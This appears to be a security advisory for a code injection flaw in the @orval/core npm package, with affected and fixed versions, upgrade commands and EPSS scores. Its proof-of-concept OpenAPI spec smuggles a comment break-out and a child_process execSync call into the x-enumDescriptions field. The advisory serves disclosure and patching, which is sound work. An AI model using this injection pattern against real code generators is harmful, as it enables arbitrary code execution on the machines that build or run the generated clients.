Loading advisory.
Loading advisory.
Orval has a code injection via unsanitized x-enum-descriptions in enum generation
Arbitrary code execution in environments consuming generated clients
Published 2026-01-20 00:19 UTC · Modified 2026-02-28 06:26 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| @orval/core | npm | >= 8.0.0-rc.0, < 8.0.2 < 7.19.0 | 8.0.2, 7.19.0 | npm install @orval/core@8.0.2npm install @orval/core@7.19.0 |
Arbitrary code execution in environments consuming generated clients
This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.
The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.
Upgrade to Orval 8.0.2
An example OpenAPI showing the issue:
openapi: 3.0.4
info:
title: Enum PoC
version: "1.0.0"
paths:
/ping:
get:
operationId: ping
responses:
"200":
description: ok
content:
application/json:
schema:
$ref: "#/components/schemas/EvilEnum"
components:
schemas:
EvilEnum:
type: string
enum:
- PWNED
x-enumDescriptions:
- "pwned */ require('child_process').execSync('id'); /*"Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.008 on 2026-11-24 to 0.009 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.008 | first score | v2026.06.15 |
| 2026-11-26 | 0.009 | 0.008 | v2026.06.15 |